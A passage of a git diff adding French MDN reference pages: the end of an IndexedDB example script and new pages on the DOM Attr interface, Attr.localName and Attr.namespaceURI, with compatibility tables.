+        year <span class="operator token">=</span> <span class="function token">Number<span class="punctuation token">(</span></span>year<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+        year <span class="operator token">=</span> <span class="keyword token">null</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+      <span class="keyword token">var</span> file_input <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-file'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> selected_file <span class="operator token">=</span> file_input<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">.</span>files<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"selected_file:"</span><span class="punctuation token">,</span> selected_file<span class="punctuation token">)</span><span class="punctuation token">;</span>
+     <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Garder une référence sur la façon de réinitialiser l'entrée du fichier dans l'interface</span></span><code class="language-js"><span class="comment token">
+</span>     <span class="comment token"> // </span></code><span lang="fr"><span>utilisateur une fois que nous</span></span><code> avons sa valeur</code><code class="language-js"><span class="comment token">, mais au lieu de faire cela nous utiliserons
+</span>     <span class="comment token"> // plutôt un type "reset" entré dans le formulaire HTML .
+</span>     <span class="comment token"> // file_input.val(null);
+</span>      <span class="keyword token">var</span> file_url <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-file-url'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">val<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>selected_file<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="function token">addPublication<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">,</span> title<span class="punctuation token">,</span> year<span class="punctuation token">,</span> selected_file<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>file_url<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="function token">addPublicationFromUrl<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">,</span> title<span class="punctuation token">,</span> year<span class="punctuation token">,</span> file_url<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+        <span class="function token">addPublication<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">,</span> title<span class="punctuation token">,</span> year<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    $<span class="punctuation token">(</span><span class="string token">'#delete-button'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">click<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"delete ..."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> biblioid <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-biblioid-to-delete'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">val<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> key <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#key-to-delete'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">val<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>biblioid <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="function token">deletePublicationFromBib<span class="punctuation token">(</span></span>biblioid<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>key <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+       <span class="comment token"> // Le mieux est d'utiliser Number.isInteger si le moteur a EcmaScript 6
+</span>        <span class="keyword token">if</span> <span class="punctuation token">(</span>key <span class="operator token">==</span> <span class="string token">''</span> <span class="operator token">||</span> <span class="function token">isNaN<span class="punctuation token">(</span></span>key<span class="punctuation token">)</span><span class="punctuation token">)</span>  <span class="punctuation token">{</span>
+          <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="string token">"Invalid key"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="keyword token">return</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span>
+        key <span class="operator token">=</span> <span class="function token">Number<span class="punctuation token">(</span></span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="function token">deletePublication<span class="punctuation token">(</span></span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    $<span class="punctuation token">(</span><span class="string token">'#clear-store-button'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">click<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">clearObjectStore<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> search_button <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#search-list-button'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    search_button<span class="punctuation token">.</span><span class="function token">click<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">displayPubList<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="punctuation token">}</span>
+
+  <span class="function token">openDb<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">addEventListeners<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token"> // Immediately-Invoked Function Expression (IIFE)</span></code></pre>
+
+<p>{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Référence :</p>
+
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_JavaScript_Generators_in_Firefox">Using JavaScript generators in Firefox</a></li>
+ <li>IndexedDB <a class="link-https" href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files</a> dans le code source de Firefox</li>
+</ul>
+
+<p>Tutoriels :</p>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+ <li><a class="external external-icon" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<p>Bibliothèques :</p>
+
+<ul>
+ <li><a href="http://mozilla.github.io/localForage/">localForage </a>: Un Polyfill <span id="result_box" lang="fr"><span>qui fournit un nom simple : la syntaxe de valeur pour le stockage de données côté client, qui utilise IndexedDB en arrière-plan, mais retourne à WebSQL puis à localStorage pour les navigateurs qui ne prennent pas en charge IndexedDB.</span></span></li>
+ <li><a href="http://www.dexie.org/">dexie.js </a>: <span id="result_box" lang="fr"><span>Une enveloppe pour IndexedDB qui permet un développement de code beaucoup plus rapide grâce à une syntaxe simple et agréable.</span></span></li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB </a>: Un MongoDB-like interface pour IndexedDB <span id="result_box" lang="fr"><span>qui prend en charge la plupart des fonctionnalités familières de filtrage, projection, tri, mise à jour et agrégation de </span></span> MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a> : <span id="result_box" lang="fr"><span>Une enveloppe d'IndexedDB simple et avancée ayant une syntaxe SQL.</span></span></li>
+</ul>
diff --git a/files/fr/web/api/attr/index.html b/files/fr/web/api/attr/index.html
new file mode 100644
index 0000000000..171e224254
--- /dev/null
+++ b/files/fr/web/api/attr/index.html
@@ -0,0 +1,217 @@
+---
+title: Attr
+slug: Web/API/Attr
+tags:
+  - API
+  - Attribut
+  - DOM
+translation_of: Web/API/Attr
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Ce type représente un attribut d'un élément DOM comme un objet. Dans la plupart des méthodes DOM, vous auriez probablement récupéré l'attribut directement comme une chaîne (par exemple, {{domxref ("element.getAttribute()")}}, mais certaines fonctions (par exemple, {{domxref ("element.getAttributeNode()" )}}) ou des moyens d'itération donnent des types Attr.</p>
+
+<div class="warning">
+<p><strong>Attention :</strong> À partir de Gecko 7.0 {{geckoRelease ("7.0")}}, ceux qui vont être retirés afficheront des messages d'avertissement dans la console. Vous devriez modifier votre code en conséquence. Voir {{anch("Propriétés et méthodes dépréciées")}} pour une liste complète.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt>
+ <dd>Le nom de l'attribut.</dd>
+ <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt>
+ <dd>Une {{domxref("DOMString","Chaîne de caractères")}} <span id="result_box" lang="fr"><span>représentant l'URI de l'espace nom de l'attribut ou <code>null</code> s'il n'y a pas d'espace nom.</span></span></dd>
+ <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt>
+ <dd>Une {{domxref("DOMString","Chaîne de caractères")}} représentant <span class="short_text" id="result_box" lang="fr"><span>la partie locale du nom qualifié de l'attribut.</span></span></dd>
+ <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt>
+ <dd>Une {{domxref("DOMString","Chaîne de caractères")}} représentant <span id="result_box" lang="fr"><span> le préfixe de l'espace nom de l'attribut, ou <code>null</code> si aucun préfixe n'est spécifié.</span></span></dd>
+ <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt>
+ <dd>L'élément contenant l'attribut.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> DOM Niveau 4 <span class="short_text" id="result_box" lang="fr"><span>a supprimé cette propriété</span></span> . <span id="result_box" lang="fr"><span>L'hypothèse était que puisque nous obtenons un objet Attr d'un</span></span> {{domxref("Element")}}, nous devrions déjà connaître les éléments associés.<br>
+ <span class="short_text" id="result_box" lang="fr"><span>Comme cela n'est pas vrai quand les objets</span></span> <code>Attr</code>  sont retournés par {{domxref("Document.evaluate")}}, <span class="short_text" id="result_box" lang="fr"><span>le DOM Living Standard a réintroduit la propriété.</span></span></p>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>Gecko affiche une note de dépréciation à partir de</span></span> Gecko 7.0 {{geckoRelease("7.0")}}. Cette note a été supprimée dans Gecko 49.0 {{geckoRelease("49.0")}}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Cette propriété renvoie toujours la valeur <code>true</code>.</span> <span>À l'origine, elle renvoyait true si l'attribut était explicitement spécifié dans le code source ou par un script, et <code>false</code> si sa valeur provenait de la valeur par défaut définie dans la DTD du document.</span></span></dd>
+ <dt>{{domxref("Attr.value", "Value")}}</dt>
+ <dd>La valeur de l'attribut.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Niveau 3 a défini <code>namespaceURI</code>, <code>localName</code> et <code>prefix</code> sur l'interface {{domxref("Node")}}. Dans DOM4 ils ont été déplacés vers <code>Attr</code>.</p>
+
+<p>Cette modification est implémentée dans Chrome depuis la version 46.0 et Firefox à partir de la version 48.0.</p>
+</div>
+
+<h2 id="Propriétés_et_méthodes_dépréciées"><span class="short_text" id="result_box" lang="fr"><span class="hps">Propriétés et méthodes</span> <span class="hps">dépréciées</span></span></h2>
+
+<p>Les propriétés suivantes ont été dépréciées. Si elle est disponible, la méthode ou propriété de remplacement appropriée est fournie.</p>
+
+<dl>
+ <dt><code>attributes</code></dt>
+ <dd>Cette propriété retourne désormais toujours <code>NULL</code>.</dd>
+ <dt><code>childNodes </code> {{obsolete_inline(14)}}</dt>
+ <dd>Cette propriété retourne désormais toujours <code>un</code> {{domxref("NodeList")}}  vide.</dd>
+ <dt><code>firstChild </code> {{obsolete_inline(14)}}</dt>
+ <dd>Cette propriété retourne désormais toujours <code>NULL</code>.</dd>
+ <dt><code>isId</code> {{readOnlyInline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Indique si l'attribut est un "attribut ID".</span> <span>Un "attribut ID" étant un attribut dont la valeur devrait être unique dans un document DOM.</span> <span>En HTML DOM, "id" est le seul attribut ID, mais les documents XML peuvent en définir d'autres.</span> <span>Qu'un attribut soit unique ou non est souvent déterminé par</span></span>  un {{Glossary("DTD")}}  ou une autre description de schéma.</dd>
+ <dt><code>lastChild </code> {{obsolete_inline(14)}}</dt>
+ <dd>Cette propriété retourne désormais toujours <code>NULL</code>.</dd>
+ <dt><code>nextSibling</code></dt>
+ <dd>Cette propriété retourne désormais toujours <code>NULL</code>.</dd>
+ <dt><code>nodeName</code></dt>
+ <dd>Utilisez {{domxref("Attr.name")}} à la place.</dd>
+ <dt><code>nodeType</code></dt>
+ <dd>Cette propriété retourne toujours 2. (<code>ATTRIBUTE_NODE</code>).</dd>
+ <dt><code>nodeValue</code></dt>
+ <dd>Utilisez {{domxref("Attr.value")}} à la place.</dd>
+ <dt><code>ownerDocument</code></dt>
+ <dd>Vous n'auriez pas dû l'utiliser en premier lieu, donc cela ne devrait pas vous ennuyer qu'il soit retiré.</dd>
+ <dt><code>parentNode</code></dt>
+ <dd>Cette propriété retourne désormais toujours NULL.</dd>
+ <dt><code>previousSibling</code></dt>
+ <dd>Cette propriété retourne désormais toujours NULL.</dd>
+ <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Les informations de type associées à cet attribut.</span> <span>Bien que l'information de type contenue dans cet attribut soit garantie après le chargement du document ou l'appel de</span></span> {{domxref("Document.normalizeDocument")}}, cette propriété <span id="result_box" lang="fr"><span>peut ne pas être fiable si le nœud a été déplacé.</span></span></dd>
+ <dt><code>specified</code></dt>
+ <dd>Cette propriété retourne désormais toujours true.</dd>
+ <dt><code>textContent</code></dt>
+ <dd>Utilisez {{domxref ("Attr.value")}} à la place.</dd>
+</dl>
+
+<p><br>
+ Les méthodes suivantes ont été dépréciées:</p>
+
+<dl>
+ <dt><code>appendChild() </code> {{obsolete_inline(14)}}</dt>
+ <dd>Modifiez à la place la valeur de {{domxref ("Attr.value")}}.</dd>
+ <dt><code>cloneNode()</code></dt>
+ <dd>Vous n'auriez pas dû l'utiliser en premier lieu, donc cela ne devrait pas vous ennuyer qu'il soit retiré.</dd>
+ <dt><code>createAttribute()</code></dt>
+ <dd>Utilisez {{domxref("Attr.setAttribute()")}} à la place.</dd>
+ <dt><code>createAttributeNS()</code></dt>
+ <dd>Utilisez {{domxref("Attr.setAttributeNS()")}} à la place.</dd>
+ <dt><code>getAttributeNode()</code></dt>
+ <dd>Utilisez {{domxref("Attr.getAttribute()")}} à la place.</dd>
+ <dt><code>getAttributeNodeNS()</code></dt>
+ <dd>Utilisez {{domxref("Attr.getAttributeNS()")}} à la place.</dd>
+ <dt><code>hasAttributes() </code>{{obsolete_inline("21.0")}}</dt>
+ <dd>Cette méthode retourne désormais toujours false.</dd>
+ <dt><code>hasChildNodes()</code></dt>
+ <dd>Cette méthode retourne désormais toujours false.</dd>
+ <dt><code>insertBefore()</code></dt>
+ <dd>Modifiez à la place la valeur de {{domxref ("Attr.value")}}.</dd>
+ <dt><code>isSupported()</code></dt>
+ <dd>Vous n'auriez pas dû l'utiliser en premier lieu, donc cela ne devrait pas vous ennuyer qu'il soit retiré.</dd>
+ <dt><code>isEqualNode()</code></dt>
+ <dd>Vous n'auriez pas dû l'utiliser en premier lieu, donc cela ne devrait pas vous ennuyer qu'il soit retiré.</dd>
+ <dt><code>normalize()</code></dt>
+ <dd>Vous n'auriez pas dû l'utiliser en premier lieu, donc cela ne devrait pas vous ennuyer qu'il soit retiré.</dd>
+ <dt><code>removeAttributeNode()</code></dt>
+ <dd>Utilisez {{domxref("Attr.removeAttribute()")}} à la place.</dd>
+ <dt><code>removeChild() </code> {{obsolete_inline(14)}}</dt>
+ <dd>Modifiez à la place la valeur de {{domxref("Attr.value")}}.</dd>
+ <dt><code>replaceChild() </code> {{obsolete_inline(14)}}</dt>
+ <dd>Modifiez à la place la valeur de {{domxref("Attr.value")}}.</dd>
+ <dt><code>setAttributeNode()</code></dt>
+ <dd>Utilisez {{domxref("Attr.setAttribute()")}} à la place.</dd>
+ <dt><code>setAttributeNodeNS()</code></dt>
+ <dd>Utilisez {{domxref("Attr.setAttributeNS()")}} à la place.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Ajoute la propriété <code>ownerElement</code> property</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>A déplacé les <code>namespaceURI</code>, <code>prefix</code> et <code>localName</code> de {{domxref("Node")}} vers cet API et supprimé <code>ownerElement</code>, <code>schemaTypeInfo</code> et <code>isId</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] À partir de Chrome 45, cette propriété n'hérite plus de Node.</p>
diff --git a/files/fr/web/api/attr/localname/index.html b/files/fr/web/api/attr/localname/index.html
new file mode 100644
index 0000000000..11e306eac5
--- /dev/null
+++ b/files/fr/web/api/attr/localname/index.html
@@ -0,0 +1,139 @@
+---
+title: Attr.localName
+slug: Web/API/Attr/localName
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - Reference
+translation_of: Web/API/Attr/localName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété <code><strong>Attr.localName</strong></code>, en lecture seule, renvoie la partie locale du nom qualifié d'un élément.</p>
+
+<div class="note">
+<p>Avant DOM4, cette API était définie dans l'interface {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>name</var> = <var>attribute</var>.localName
+</pre>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> qui représente la partie locale du nom qualifié de l'élément.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple affiche "id" dans une  fenêtre d'alerte.</p>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;button id="exemple"&gt;Clique ici&lt;/button&gt;</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">const element = document.querySelector("#exemple");
+element.addEventListener("click", function() {
+  const attribute = element.attributes[0];
+  alert(attribute.localName);
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple','100%',30) }}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le nom local d'un attribut est la partie du nom qualifié de cet attribut avant les deux points. les noms qualifiés sont utilisés en XML, dans les espaces de nom de certains documents.</p>
+
+<div class="note">
+<p><strong>Note :</strong> dans {{Gecko("1.9.2")}} et avant, cette propriété renvoie le nom en majuscule pour les attributs HTML du  DOM HTML (contrairement aux atttributs XHTML ). Dans les versions plus récentes, en accord avec HTML5, cette propriété renvoie la casse correspondante au DOM utilisé, c'est-à-dire en minuscule pour les attributs du DOM XHTMl et du DOM HTML.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM4', '#interface-attr', 'Attr.localName')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>première définition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>17</td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge Mobile</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>17</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<p>[1] Cette API était disponible précédemment au travers de l'API {{domxref("Node")}}.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Attr.namespaceURI")}}</li>
+ <li>{{domxref("Attr.prefix")}}</li>
+ <li>{{domxref("Element.localName")}}</li>
+ <li>{{domxref("Node.localName")}}</li>
+</ul>
diff --git a/files/fr/web/api/attr/namespaceuri/index.html b/files/fr/web/api/attr/namespaceuri/index.html
new file mode 100644
index 0000000000..cbc57a0351
--- /dev/null
+++ b/files/fr/web/api/attr/namespaceuri/index.html
@@ -0,0 +1,130 @@
+---
+title: Attr.namespaceURI
+slug: Web/API/Attr/namespaceURI
+tags:
+  - API
+  - DOM
+  - Reference
+  - namespaceURI
+translation_of: Web/API/Attr/namespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>Attr.namespaceURI</strong></code> retourne l'URI d'espace de nom de l'attribut, ou <code>null</code> si l'élément  n'est pas dans un espace de noms.</p>
+
+<div class="note">
+<p>Avant DOM4 cet API était défini dans l'interface {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>namespace</var> = <var>attribute</var>.namespaceURI</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet extrait de code, un attribut est examiné pour son {{domxref("localName")}} et son <code>namespaceURI</code>. Si le <code>namespaceURI</code> renvoie l'espace de noms XUL et le <code>localName</code> retourne "browser" (<em>navigateur</em>), alors le noeud est compris comme étant un <code>&lt;browser/&gt;</code> XUL.</p>
+
+<pre class="brush:js">if (attribute.localName == "value" &amp;&amp;
+    attribute.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // ceci est une valeur XUL
+}</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Ce n'est pas une valeur calculée, mais le résultat d'une recherche d'espace de noms basée sur un examen des déclarations d'espace de noms dans la portée. L'URI de l'espace de noms d'un attribut est figé à l'heure de création de l'attribut.</p>
+
+<p>Dans Firefox 3.5 et précédents, l'URI d'espace de nom pour les attributs HTML dans les documents HTML est <code>null</code>. Dans les versions ultérieures, en conformité avec HTML5, il est <code><a class="external" href="https://www.w3.org/1999/xhtml" rel="freelink">https://www.w3.org/1999/xhtml</a></code> comme dans XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+
+<p>Vous pouvez créer un attribut avec le <code>namespaceURI</code> spécifié en utilisant la méthode de DOM niveau 2 {{domxref("Element.setAttributeNS")}}.</p>
+
+<p>Selon la spécification <a class="external" href="https://www.w3.org/TR/xml-names11/">Namespaces en XML</a>, un attribut n'hérite pas de l'espace de noms de l'élément auquel il est attaché. Si un attribut n'est pas explicitement donné à un espace de noms, il n'a pas d'espace de noms.</p>
+
+<p>Le DOM ne gère pas ou n'applique pas la validation de l'espace de noms en soi. Il appartient à l'application DOM de faire toute validation nécessaire. Notez également que le préfixe d'espace de noms, une fois associé à un nœud particulier, ne peut pas être modifié.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-namespaceuri", "Element.namespaceuri")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>17</td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
